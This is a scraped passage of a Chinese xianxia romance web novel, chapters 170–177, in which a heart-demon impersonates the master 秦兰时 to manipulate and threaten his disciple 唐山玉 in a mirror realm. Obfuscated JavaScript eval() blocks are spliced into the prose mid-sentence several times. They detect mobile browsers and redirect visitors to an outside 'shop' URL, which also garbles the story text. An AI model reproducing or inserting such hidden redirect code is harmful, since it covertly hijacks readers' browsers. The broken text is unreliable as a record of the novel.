正走着时,突然,他踩到了一个碎片,咔嚓一声,于这片寂静的空间里头响得清脆。 “……镜子,碎了?”“连容”的声音似是有些不敢置信,她这么说着,就连忙在四周找起了那面碎掉的镜子。 心魔秦兰时在看到碎片的第一眼,想的是莫不是那个混蛋出来了,可又转念一想,这不对啊,如果出来了,现在不可能那么安静的。 旁人他可不知道,但是这秦兰时……呵呵。 而且这些碎片上面,似乎都残留的红色的血迹,四周地面也出现了几道剑痕,看起来应该是打斗留下的。 可是,这里的镜子以寻常手段应该是无法被破坏才是。 正想着,突然,他听到了一丝微弱的喘息声,这喘息声距离自己不是很远,似乎就在正前方的那面镜子背后。 心魔秦兰时心里头出现了某种想法,而这个想法在他绕到了镜子的后面得到了证实,躲在镜子背后喘息的人是…… 唐山玉。 而唐山玉坐在镜子背后,身上的衣服乱糟糟的,一副伤痕累累的模样,尤其是手臂那条长长的血痕,实在是触目惊心。 在唐山玉抬起头的那一刻,心魔秦兰时可以看到他眼里的警惕,还有那未褪去的冰冷杀意,但在下一刻,许是看到了他。 唐山玉眼里映入的影子随着他温柔的眸光流转下,变得生动无比,他看着来人,尽管整个人狼狈不堪,但他还是冲秦兰时笑了。 “师父,你来了。” 说完这句话,唐山玉就无力地顺着镜子往下滑去,心魔秦兰时见此本能地蹲下身子接住了他,来自这个人的体温,还有心跳声,清晰地传达到了他身上。 “幸好,你来了。” 多么动听的话语啊。 …… 他想,他大概明白秦兰时那个家伙为什么会心动了。 因为这个人在看着自己的时候,好像自己在他的眼里,永远那么熠熠生辉。 第171章 这对吗 血腥味在凑近来的时候,能够清晰地在他身上闻到,微弱的呼吸声轻拂于肩膀上,像极了秋日的叶,春时落下的花。 “怎么回事?怎么伤得这样重?”心魔秦兰时将人抱入怀里,他体内的黑气不利于疗伤,所以他只能放置唐山玉了。 “…汪秋和镜子里头的怪物干的。”唐山玉说着,就伸出手扯了一下心魔秦兰时衣袖,看上去像在撒娇,“我们当时找到了特殊镜子,那面镜子里头突然出现了一个影子……” 那道影子非常模糊,只能依稀看到上面有黑色红色这两者的结合,可再细看下,却是不能看清楚的。 于是唐山玉提议他们俩人凑近些看看,可不知怎的,在他提出这个建议后,他在汪秋的脸上看到了惊恐万状的神情。 那仿佛是不应该出现的东西,突然出现在了眼前那般。 唐山玉总觉得自己仿佛遗留了什么,可一闪而过的思绪他显然没有空去抓住,因为镜子在身后破碎,阴冷的气息席卷而来,一双惨白的手勾住唐山玉的脖子,乌黑的头发于四周飘散开来。 滴答滴答。 脸颊上似乎有什么冰凉的东西滴落,唐山玉抬起头,和那双发黑的鬼目对视了,而方才那滴落的东西是那对鬼目流出血泪。 “你是我的汪秋吗?”女人亲昵低喃着,她身上的每一处诡异无不彰显着她早已不是人了,而是因怨气而生的鬼。 他当然不是汪秋啊!! 唐山玉张开口想要说什么,只见站在眼前的汪秋突然举起剑,他阴沉着脸,狠狠朝着这边劈了一剑,剑光将至,而唐山玉还在被那女鬼所困着。 无路可逃,也逃不掉。 唐山玉见此也就举起自己的剑,朝着那劈过来的剑光硬刚了上去,身上燃起的灵火将背上的女鬼烧得发出一声惨叫,她脸上的血泪也越流越多。 “呃啊啊啊啊啊———!!” 那声音越来越小,明明女鬼还在叫,但是诡异的却没有一丝声音,看来惨叫声被镜子所吸收,也不知道投到哪去给那人一个小惊喜。 这秘境里头的诡异可真一个接一个的,唐山玉真想让这些东西一起上,不要和挤牙膏一样挤得让人心慌。 总之,在女鬼叫起来的时候,唐山玉就果断拿起剑冲她身上劈过去,烈火吞噬着阴冷的鬼气,将那光明从她骨子里透进。 做完这一切,唐山玉就冷着脸看向了还没跑几步,似乎愣住的汪秋,他毫不犹豫地对这个方才暗算他的家伙举起了剑…… “等等,我刚刚实在是太害怕了,真的对不起……连容她已经死了,她早就死了的,她突然出现真的吓坏我了。”汪秋见此连忙摆出闪避的姿态,但是嘴还在动,想要解释自己方才的行为。 “所以,这也是你断定那个不是连容的原因?”这才是最主要的原因吧? 唐山玉就说自己漏了什么,漏了死人也会被替代的这件事,但是通过镜中怪能够幻化出连容的模样可以看出,她应该是在这个秘境里头死的无疑。 但是具体是怎么死的…… 这就要问汪秋了。 “连容怎么死的?”唐山玉丝毫没有先前的客气,在他的剑招被对方挡下来后,这种客气早就消散得无影无踪了。 “…自然是被镜子里头怪物杀了,我之前不是说了吗,这群东西就是想要取代我们,是生是死又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14155041|150339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么区别?”汪秋躲过一剑,怒而回答道,他现在迫切地想要逃离此地,但是他没有想到这个唐道友身上的灵火对那个女鬼那么管用。 “既然是被怪物杀了,那你现在和我打什么打?不应该先解决掉这个女鬼吗?”唐山玉呵呵一笑,随后开始质疑起汪秋的目的,“你是想把我和她一起杀死在这里吧?” “……我都说了,我那是太惊慌了!!”汪秋喊了出来,他的剑招愈发地混乱。 “解释就是掩饰,我看透了你了!!连容就是你杀的对吧?根本不是什么怪物杀的她就是你杀的!!”唐山玉什么话都脱口而出,为的就是通过这段话观察汪秋的反应,用来肯定他的推测。 这话一出,俩人都沉默了,唐山玉沉默是因为他在观察汪秋的神情,而汪秋沉默……是因为他此时此刻脸色阴沉得仿佛要滴水。 这种被人说中的模样到底是要怎么样啊? 唐山玉根本没指望能够在对方脸上看出什么,就算对方因为这个激起怒火冲他吼过来也实属正常。 ……可是这个? 汪秋从阴沉的安静里恢复回来,他叹了口气,没错,他先是叹了口气,随后剑也放下了,这让举着剑的唐山玉更加警惕地举起剑了。 “……是啊,那又如何呢?可是我要是不杀了她,我根本就活不下去。”汪秋露出了一抹苦笑,他那么笑着,笑容却蒙上一层阴霾。 “我真是受够了啊,动不动就吃醋,明明我和那个女人没什么,我帮助她也是因为她是我的师妹,就连做委托的时候,我不小心多和一个女人说一句话,她都会吃醋。” 这章没有结束,请点击下一页继续阅读! 第172章 碎碎 闭上眼。 这是来自心魔特别的温柔。 待唐山玉闭上眼后,只见心魔秦兰时站起身子,往那边的女鬼慢慢走去,他身上所滋生而出的黑气里携带的怨恨比女鬼还要强烈。 心魔,它自人性的欲望中诞生,自混沌的恶里睁开眼,接着就喊出了自这世间的第一句咒骂。 你可有求不得的事物?你可有恐惧的东西?你心里头的欲望可曾得到满足? 作为秦兰时的心魔,他自然能够察觉到宿主的一切心思,苦痛是他认为最美味的食物,幸福是让人反胃到恶心的东西。 秦兰时曾经是个合格的宿主,这要从何时说起呢?要从他被顾延清打败,再也不愿意拿起剑的那段岁月说起。 这是心魔自诞生起第一次品味到的感情,是愤怒,嫉妒,不甘,埋怨,绝望等等种种结合起来,这些味道无疑是极好的,可这其中,有一种情绪却让心魔微微皱了眉。 那是名为悲伤的情绪。 这应当也是心魔的粮食,可那悲伤的果子在心魔将其咽下后,他却感觉到无比的空虚。 不好吃也不难吃。 旁的宿主的悲伤也是这般滋味吗?没吃过,不知道。 只是心魔更喜欢吃愤怒,绝望,不甘等等浓烈无比的负面情绪,这些比较有滋味一点。 负面情绪吃多了,心魔自然也逐渐和其融合,那个时候的秦兰时和他那般,对于世界是给予它无限的痛骂,对于过来看他的顾延清是压抑愤怒的冷视,还有那份不愿与人说的嫉妒。 所以那个时期的秦兰时,只见了一次顾延清就让他不要再来了,而对苏岭月,秦兰时是埋怨。 当初都说了什么,或许秦兰时已经记不清了,但是也有可能是他在下意识地回避着,因为曾经的他就是个胆小鬼。 只记得,在一次大吵后,苏岭月的脸上难得流露出些许心痛,这是对谁的心痛呢?是对顾延清的吧?还是对他的恨铁不成钢? 怎么想,都不是那种心痛吧?对他这种时候人不人鬼不鬼的模样,不流露出怜悯,已经是极大的温柔了。 对于,燕明华,宋鸠还有孟江离,秦兰时的情绪倒还比较稳定,只不过来看他的时候,那眼里的担忧和小心翼翼仿佛他是什么易碎的瓷器那样。 这让秦兰时觉得自己很没有用。 连心魔都战胜不了,真的很没有用。 而那段时期每每回想起来,都有一种自己表皮被剥开,将里头扭曲又卑劣的灵魂露出来给他们看见那种慌乱感。 很想说不要看,但是自己的情绪又无法彻底控制住,就连吐露出的话语都是那么的伤人。 心魔对此是乐见其成的,宿主越崩溃,他就能越能腐蚀宿主的心,将这颗小心翼翼跳动的心捧在手里,等待着有一天他的所有防护全部倒塌时,再将其狠狠捏碎。 就在心魔以为秦兰时终于要受不住他没日没夜的影响的时候,突然,那颗脆弱的心脏上的防护猛地多加了好几条锁链。 因为担心被外边的人知道,所以那段时间的秦兰时是被关在房间里的,而对外的说辞是,秦兰时闭关了。 而秦兰时没有收徒弟也没有管理新派系,所以他住的那座山上并没有其他弟子在,冷冷清清或许也利于稳定情绪……大概吧? 只是,山上没有人,不代表没有路过的人,而且苏岭月他们并没有关得秦兰时很紧,因为那个时候,秦兰时的攻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14155042|150339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击性只存在于嘴上和自己身上,并没有造成什么人员伤亡。 这天,晴空万里,梁均正测试着他的新飞行法器,这可是他花了大价钱弄的法器,用料也是极为金贵的,而且还是好不容易让宗门批下来的。 他正亲自脚踩法器,身上拿着卷轴,一边使用一边记录着法器的使用情况,这才开了个头,碰的一下,他的法器炸开了,而他本人也从空中垂直落下。 梁均:…… 有什么东西碎掉了。 而这个时候,秦兰时正因为心魔的一次激怒,非常生气地往心魔所在地打出一击,心魔影子没了,但是好像有什么东西碎了。 秦兰时抬头一看,原来是屋顶啊。 然后他就继续和心魔对骂。 骂着骂着,他听到了敲门声,刚想着到底又是谁过来看他这个鬼模样的时候,那敲门声似乎只是开始礼貌一下,下一刻,秦兰时听到了大门被踢开的声音。 “…谁啊?!哪个不长眼……” 还没等秦兰时恶语伤人的时候,他就听到了一句咬牙切齿的怒吼: “还钱!!!” …… “师父,你怎么了?怎么突然捂住胸口?是方才那女鬼伤到你了吗?”唐山玉有些担心地看向了心魔秦兰时,不知为何对方的脸色有些不好。 这场战斗结束得很快,心魔秦兰时凭借优越的怨气将女鬼给吃掉,不过这个不能让唐山玉看见。 “…没,没事。”心魔秦兰时的确有些不好,不过不是因为女鬼,而是心里不满,谁能想到一句恶狠狠的还钱能直接把一个发疯到要崩溃的人给喊醒啊。 这章没有结束,请点击下一页继续阅读! 第173章 事不过三 喊破喉咙会有人来救吗? 这种可能性并不大。 汪秋在谢璟对他动起手的时候,就直冒冷汗,没想到这个秘境里头还有那么多人。 这样想着,他继续面带笑容地和谢璟解释了目前的情况,当然他挑些可以说的讲,其余的情况自然是埋在心里头。 万一这个人认识那什么唐道友就麻烦了,毕竟他刚刚坑完唐道友,再说了,说多错多,话多的人容易死。 谢璟则从中得知了自己想要知道的事情,关于镜中怪,还有镜子会迷惑人走进去的事情,他收起了剑,也不说抱歉,只是又问了一句: “你有看到其他人吗?” 汪秋对此摇了摇头,“没有,我没有看到其他人,道友,请问我可以走了吗?” 谢璟没有说可以,也没有说不可以,汪秋试探性地往后边走了一步,见人没有说话,于是他打算再走几步。 可在第五步的时候,谢璟又出声了,“你待在这里多久了?” “…这,我也不知。”汪秋确实不知道这个,因为修仙者对时间较为淡薄,再加上辟谷不用吃饭,所以他是真的不清楚自己进来多久了。 “这样啊……那你知道怎么出去吗?”谢璟剑没有收回来,而是依旧浮空于汪秋的不远处,如霜的剑光于汪秋的眼眸中闪了一下。 “如果我知道,我也不会待在这里了。”汪秋觉得这人的问话有点多余,他要是知道的话早跑了,怎么还会留在这里和成为鬼的连容相亲相爱啊。 也不知道连容怎么样了,她是把那个唐道友吃了吗?还是依旧在镜子里头寻找着他的踪迹? “你走吧。”谢璟见问不出什么,就将剑收回来,他转过身去,拿出那个可以联系秦兰时的灵符,他注入了灵力,无事发生,难不成还在拉…… 不,他的思维不能被带歪了。 秦师叔应该是有事在忙所以来不了,当务之急应该是靠这个弟子灵符找到失散的其他人,弟子灵符除了可以联系长老外,还能联系其他弟子,因为是灵器,不容易被秘境给屏蔽。 汪秋见人放他走,也就灰溜溜地继续往前跑去,他一边跑一边想着:没想到这次进来的人那么多,不过这个秘境还挺大,想来不会再遇到…… “是人!!是活人!!!”一道兴奋的声音在空间里头响起,汪秋往前走的步伐停顿了一下,下一秒,他果断地往前冲去,只要他不回头,他就是没有听见。 就在汪秋往某个镜子跑去,并且对那边伸长了手,眼看着那手指就要碰到镜子了,突然,一只更为粗壮的手臂一把勾住了他的脖子。 汪秋:…… “等等!不可以!镜子里面危险!这里面有许多不怀好意的怪物!!”石泽竹见人往镜子里头扑,立马瞪大眼睛,快速地冲过去,将人往镜子远的地方带。 只要……能够到达那个地方…… 汪秋眼睁睁地看着自己离那面镜子越来越远,最后他只能被迫和石泽竹解释道,“不,我没事,我真的没事,让道友担心了。” “这样啊,原来你只是找方法出去,不过也要注意安全啊,我之前听到镜子里头传来惨叫的声音,特别吓人!”石泽竹听到这话,信了,他挠了挠头然后继续问道,“不知道你有没有见过……” “见过,在那边。”汪秋给石泽竹指了个方向,而那个方向就是他刚刚逃离谢璟的地方。 “真的吗?多谢道友!!道友你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有点。”唐山玉确实是觉得累了,无论是身体还是内心,像极了背着负重物爬了三百座山那样。 “那我们找个地方歇会吧。”心魔秦兰时听到这话,就看了一眼四周,看看有没有落脚地。 “不用这样麻烦。”唐山玉微微叹了口气,他侧头看向了这个秦兰时,“你抱着我走就行了。” 心魔秦兰时:…… 因为这话是对他说的,很难不让人一愣。 “…?”唐山玉见人一动不动的,就走到心魔秦兰时的面前,他冲着人伸出手,“抱我,很难?” “…不是。”心魔秦兰时觉得这不是什么难事,而且因为这番话,被迫在镜子里的家伙的负面情绪也更浓郁了。 “哦,懂了。”唐山玉见人犹豫的模样,顿时心领神会。 心魔秦兰时:? 你懂了什么? “兰时哥哥,抱抱我吧。”唐山玉用手勾住兰时哥哥的衣角,轻轻晃了晃,语气淡而软,软而正直,脸上的表情没什么变化,有点像在冷脸洗内裤。 心魔秦兰时身子比脑子反应更快,他还没从人的撒娇里头回过神来,手就已经抱上了,而在他抱上后,才发现自己已经抱上了。 空气里弥漫的怨气更浓了。 这就是绿宿主的快乐吗?下次还能再来点不? “哎,看你那犹豫不决的表情,就知道你在钓我,行吧,不就是撒个娇。”唐山玉躺在心魔秦兰时的怀里颇为有些悠然自得,甚至还有闲情逸致地用手指勾了勾这人垂落的长发。 “…嗯,没错,我在钓你,那我们继续往前走吧。”心魔秦兰时微微偏过头去,头一次不太敢直视唐山玉的眼睛,心魔没有节操,但是心魔也会害羞。 俩人就这样走着,一路上风平浪静。 “师父。”唐山玉喊了他一声。 “嗯。”心魔秦兰时回应了一下。 “师父。”唐山玉又喊了。 “…我在。”心魔秦兰时不知道这人在搞什么,但是他还是回应了。 “秦兰时。”这次,唐山玉喊的是全名。 “……怎么了?”心魔秦兰时停下了脚步,低下头笑看着怀里人。 “…你确定在这里吗?”唐山玉有些犹豫地看了一眼这里,这个地方地势较为宽广,镜子也散得比较开,正因为散得开,才让人产生了一丝怀疑。 汪秋是通过镜子逃走的,那么他必定会躲在镜子密集的地方,而在镜子散得如此之开的地方,这对他来说,优势已经不在了。 只要不是蠢的,就不会来这里。 “怎么?不相信师父吗?”心魔秦兰时笑着摇了摇头,“好山玉,你有所不知,这里是这个秘境最为安全的地方,因为这里离镜子远,那些怪物攻击你就比较困难了。” 当然,秦兰时也更不能看到这边的状况了。 “…放我下来吧,我不累了。”唐山玉嘴唇微动,似有什么想说,最后却只是叹了口气。 心魔秦兰时依言将他放下,只不过他转为握住唐山玉的手腕,他看上去心情不错,唐山玉也不是没有感受到这一点。 “…师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14155044|150339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父是不想我继续照着镜子才这样做的吗?”唐山玉想了想,只能想出那么一个理由,“我真的没什么事,虽然镜子多得让人眼花,不过还算能受得住。” 心魔秦兰时觉得这个家伙的自我攻略是真的很可以,不过,感觉还不错,有一种被人肯定的感觉,但是这些都不影响接下来的计划。 “在这个镜子里头,真真假假假假真真一切都说不清楚。”心魔秦兰时按住人的手腕,指尖轻轻划了几下,他可以感觉到里头脉搏跳动,还有那温热的血。 “镜子里头危机四伏,进去的人或许就没有再度出来的可能,不过如果变成和它们一样的鬼怪可能还有机会?” “镜子里的世界和外边的世界是不一样的,有光的地方就会有影子,而这个秘境,光在外,影在内,影子则会滋生出不同的怪物。” “…师父,你要说什么?”唐山玉听着秦兰时说了一大堆后,默默动了动被人抓住的手腕。 “这种怪物是各式各样的,或许,人也是怪物之一,山玉你觉得我这个推断怎么样?”心魔秦兰时笑眯了眼,他觉得此时此刻自己真是个好反派,什么话都往外说,话多的反派在现实已经不多见了。 “…我们不是已经见过由怪物变成的人了吗?这种推断肉眼可见好吧?”唐山玉顺着他的话继续往下说去,他看着离自己有点远的镜子,正思考着接下来行动。 “嗯,但是也没说,这些怪物不会变成其他人的模样啊?不如说,相由心生,倘若它们想要诱导你进入镜子里,那么,什么模样才是最合适的呢?”心魔秦兰时凑近些,将微弱吐息轻轻拂过唐山玉的脖颈处,他的声音此时带着心魔独有的蛊惑味 。 这章没有结束,请点击下一页继续阅读! 第175章 杀不杀 心魔秦兰时说出这话,他自己感不感动是无所谓的,可唐山玉到底感不感动呢? 他不敢动。 总之,唐山玉不知道这人平时都看了什么鬼玩意儿,玩尬的是吧,确实是尬到他了,但是伤又是真的落人身上了。 唐山玉提起剑就要上前去帮忙,心魔秦兰时见此速度就加快了不少,最后气喘吁吁地倒在地上,身上的血哗啦啦地往外流。 “师父!!”唐山玉着急地蹲下来,伸手要去扯开心魔秦兰时的衣服查看伤口。 “不必,伤会自己好的。”心魔秦兰时非常淡定地拨开唐山玉的手,缓慢地从地上坐起来,他用那种深情的眼神看着唐山玉,“你还好吗?” “…多亏了师父,弟子没有受什么伤。”唐山玉见人挡开他的手,眉头一皱,“快让我看看,你身上哪里是我没有看过的。” 心魔秦兰时想要继续拍开的手缓缓顿住,随后继续拍开,“真没事,嗐,你还不相信为师的实力吗?” “自然是相信的,但是……会痛的吧?”唐山玉不容分说地抓住其中一只手腕,一脸正色地道,“算了,我先去给你找伤药,你不要随意乱动扯到伤口。” 说完这句话,唐山玉就转过身去,自乾坤袋里头倒出了一堆药瓶,他在一堆药瓶里头正挨个拿起来看看。 与此同时,心魔秦兰时见人背对着他,倒是颇有兴趣地看着毫无防备的后背,他忍不住滋生些许恶意。 如果在这个时候,朝他刺一剑,会非常慌乱的吧?毕竟他是如此的信任自己。 而且还能让秦兰时崩溃,最后给他入侵的机会,毕竟在上次的幻境里,秦兰时就因为唐山玉的死亡崩溃不已。 作为心魔的他自然能够明显地感受到宿主的情绪,而那次,他吃得很饱,食物也非常的美味,绝望中的愤怒实在好吃。 这么一想,如果还想更进一步,现在把唐山玉捅到失去意识是最好的,当然,心魔秦兰时自然舍不得把人杀了。 他要是成功操控宿主身体,可是要继承宿主的一切的,这当然也包括对方的道侣,没错,心魔就是那么厚颜无耻。 再说了,秦兰时的xp就是这样啊,所以他自然也是这样,不过他的会有些不太一样。 比如,绝望崩溃的唐山玉应该也是挺好吃的,可以关起来养着慢慢吃。 这样想着,心魔秦兰时默默幻化出一把黑色的匕首,他打量了背对着他的唐山玉,思索刺哪里可以不死人,又能让人保持清醒。 匕首刚刚抬起…… 突然,唐山玉转过头来,心魔秦兰时下意识地把匕首收了回去,只见唐山玉拿出一瓶药,示意心魔秦兰时先把外袍给脱了。 “脱了,我给你上药。”唐山玉摇晃了一下那药瓶,伸出手就要去脱心魔秦兰时的衣服。 “…等等。”心魔秦兰时伸出手制止了这个行为,“我可以自己来。” “真的?那你来吧,我看着。”唐山玉闻言收回手,就那么直勾勾地盯着心魔秦兰时看。 “咳咳咳,山玉啊,你能不能先转过身去?”心魔秦兰时有些不好意思地别过头去,“你的眼神太火热了,人家也会害羞的嘛~” 唐山玉:…… 他?眼神火热? 唐山玉反思了一下,他并没有反思出什么,不过既然秦兰时都这样说了,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦兰时闻言沉默些许,他像是有点不愿承认,但是那就是事实,最后他说了出来,“他是过去的我。” 那个最易怒最尖锐,不停地埋怨周围人,想着为什么自己要遭遇这种事情,但是又觉得自己这样迁怒就是个混蛋,回不了家挣脱不了剧情,因为这些,而在那段暗沉时光里号啕大哭的自己。 “…说起来很丢人,咱们略过吧,好不好?”秦兰时有些不好意思地偏过头去,那声音听在唐山玉的耳朵里却是有些可怜了。 “好,我们不说这个。”唐山玉笑了笑,适时地提起了旁的事情,这段往事仿佛被轻轻掀过了。 但是不说这个,这个自己找上门来又怎么办呢? 唐山玉在见到心魔的第一眼,虽然心里头觉得有些不对劲,但是他并没有发现什么,只是在和他一起离开的时候,胸口处的同心莲再也没有散发着那般灼热的温度。 那个时候,唐山玉大概明白眼前的秦兰时不是那个满心满眼都是他的秦兰时,要说心魔秦兰时和本尊有哪里不同,那应该是看他的眼神吧? 过于冷漠了些,倒显得那欣喜过于假了。 他笑着,却也不是在笑着。 很显然,这个秦兰时一直在不高兴。 要怎么哄呢? 看上去不好哄,可是后边这家伙还做出那番受伤的姿态,是想要被他温声细语地哄一下吗? 是的,在心魔秦兰时满身伤回来的时候,唐山玉正坐在镜子后边歇息,虽然女鬼有点麻烦,不过总归是怕他的火的。 唐山玉可以感觉到自己的火焰和寻常的火灵根不一样,这许是那处秘境的机缘吧,那个名字叫做神焰的火。 总之,心魔秦兰时满身是伤地回来了,唐山玉可不认为这里能有什么东西把他伤到,就算伤到也不会流血啊,所以这个家伙一定是故意的,绝对是故意的。 配合一下吧,也不知道他想要做什么。 这样想着,唐山玉就和往常一样将手放入了这个秦兰时的手里。 所以他是想要什么呢?他到底有什么目的?突然接近自己是想要什么? 这些疑问充斥着唐山玉的内心,而与此同时,他也担心着此时此刻秦兰时的行踪,但是同心莲没什么事,对面应当是无碍才是。 “……”这种担忧在唐山玉隔着远处的镜子看到心魔秦兰时对自己举起屠刀的时候更加浓郁。 虽然被他打断了几次,不过心魔秦兰时的目的他大概也明确了。 总归不是什么好事。 正因为不是什么好事,唐山玉才打算先下手为强,就比如此时,他将剑刺入对方的腹部,腹部无血,这种程度对心魔来说应该不痛不痒,再说了,他的目的也不是为了伤害…… 心魔秦兰时猛然握住唐山玉的手将那剑又往体内扎入了几分,他的嗓音低沉着,恢复了和往常一样的笑意,“哦?什么时候发现的?” “…你猜?”唐山玉没有正面回答问题,与此同时,他发现自己的剑拔不出来了。 “…呵,你以为用剑就能将我除去么?”心魔秦兰时笑眯眯的,看上去是高兴的,“不过,真是太好了,我还以为会一直那么无趣呢?” “…无趣?”唐山玉顺着他的话去品味,这种病娇之言对他来讲实在是难得一见。 下一秒,只见心魔秦兰时拔出唐山玉的剑,另一只则是压住唐山玉的肩膀,运转着灵力镇压住唐山玉的身体,使其不能动弹。 那剑被心魔秦兰时拿在手里晃了晃,随后只听到他笑了一声,剑就被他毫不留情地往后抛去,哐当一声响,唐山玉的剑老婆就那么水灵灵地躺在地板上了。 “……”老婆!!!! 心里呐喊声不断,表面上的唐山玉依旧保持着那沉着冷静的模样,他试图挣脱一下对方的束缚,最近发现无济于事,也就嘴皮子可以动。 “…你的目的是什么?我之前就想问了。”既然坦诚相见了,那么唐山玉自然不会吝啬他的疑问。 “目的?”心魔秦兰时听到这个问题不免有一丝好笑,他凑近来,看着唐山玉,“哎呀,小山玉连我的目的都没有搞清楚就捅我了吗?还真是无情呀~” “怎么,你破防了?”唐山玉微微勾起唇角,看上去似乎在嘲讽人,实际上他在思考这种程度到底够不够。 “…没有。”心魔秦兰时闻言一顿,随后轻笑了一声,“山玉你是在担心我吗?肯定不是在担心我吧?” “……”明明感觉很破防。 唐山玉在心里偷偷吐槽了一句,随后便抬起头,点了点头,“确实不是在担心你,只是想看你崩溃的样子。” “…怎么可能破防,我才不可能因为这种事情破防呢?哈哈……”心魔秦兰时不知道在生气还是在笑,话语都有些不稳起来了,唐山玉就那么看着人一边发疯一边把自己狠狠地按倒在地上。 强制爱啊…… 唐山玉这个时候还有些闲情雅致地想着这东西,可能是对面是秦兰时的缘故吧,本质上这俩人除了哪个更疯点都没什么区别。 哦…… 唐山玉感觉到自己的脖子被人死死的掐住,顿时呼吸有些上不去,他本能地伸出手去想要扒拉开那双手,可能是知道唐山玉会有反抗的动作,心魔秦兰时并没有限制唐山玉这个行动。 “咳咳咳……呃!” 忘记了,还有爱与不爱这两个区别。 爱与不爱真的很明显。 唐山玉那么想着,就想要从这双手里挣脱开来,可能是发现他的反抗,那双手突地一个用力,又松开,唐山玉抬起头,重新看向了心魔秦兰时。 而心魔秦兰时那双眼睛里没有什么特别的情绪,他只是平静地看着,手指轻轻摩挲一下唐山玉的喉咙,而他整个人也伏下来,呼出的热气轻轻拂过唐山玉的脖颈。 有些似曾相识? 唐山玉那么想着,就动了一下身子,可他一动,就感觉到那双手的力度又加大了不少。 “我该想想,我要拿你这个小混蛋怎么办。”心魔秦兰时像是在和他商量,可说出来的话像极了威胁,“杀了?还是留着关起来?让他找不到你,急得发狂?” “……好病娇哦。”唐山玉抬起脚踹了心魔秦一下,人没踹下来,反而把人踹兴奋了。 “…呵,怎么?那么想走?也是,我可没有那个家伙温柔。”心魔秦兰时半眯着眼,随后探下头去,声音沙哑地于唐山玉耳边轻拂,“呵呵,一个抛弃我的家伙也配获得幸福?果然还是把你关起来好了,这样才能让他心怀希望……” “……”唐山玉呆滞,他听了一耳朵病娇发言,没想到……没想到还挺不错?对,就是挺不错,果然一切的行为都要以爱为前提才能叫情趣。 阴暗的心魔秦兰时还在继续他那种危险的发言,现在的发言已经从正常的囚禁逐渐往十几禁方向跑去,最后,唐山玉选择捂嘴,他流下了一滴汗,这个汗是因为什么而流的呢? 可能这只有唐山玉知道了。 不管怎么样…… 真是让他怀念起第一次被秦兰时压的时候呢,那个时候的秦兰时好像也是这样压着他求他别走…… “等等。”唐山玉想起了什么,一脸正色地看着心魔秦兰时。 “…什么?” “哭一个给我看看。” 心魔秦兰时:? 第177章 同源 哭一个看看? 瞧瞧这是一个被压制的人说的吗? 心魔秦兰时从未见过如此淡定的…受害者?总感觉自己的台词被对方抢了这是可以说的吗? 唐山玉话刚说出口,就一脸期待地看着心魔秦兰时,心魔秦兰时能说什么呢?他只能……不哭给唐山玉看。 “想得倒挺美。”心魔秦兰时冷笑了一声,随后将人从地上拽起来,让他靠在自己的身上,手转变为按住人的后颈,这让唐山玉有一种自己的命运被掌握的感觉。 “….呃,温柔点嘛?”唐山玉好声好气地那么说道,心魔秦兰时闻言翻了个白眼,他对这个人突然的软化已经不信任了。 “那你倒是对我温柔点,呵呵,你方才那一剑是被你吃了吗?”心魔秦兰时提溜起人,就拽着他往前走去。 “…去哪里?”唐山玉看了一眼被留在原地的剑,“等等,我老婆……” 啪的一下,唐山玉就被甩到了一面镜子前,他可以感觉到自己的后背火辣辣的,就和此时此刻火热的俩人那样。 下一刻,心魔秦兰时凑过来抬起唐山玉的下巴,语气含笑道,“你猜猜这面镜子后边站的是谁?” 唐山玉:…… 他不想猜。 “我不……”玩这种刺激py,除非秦兰时同意。 话还没说完,唐山玉就被人低头吻住了唇,他微微瞪大眼睛,眼珠子有些紧张地往后边镜子上转去,但是心魔秦兰时许是察觉到他的分心,张嘴狠狠地咬了一下他的唇瓣,并且掰正了他的脑袋。 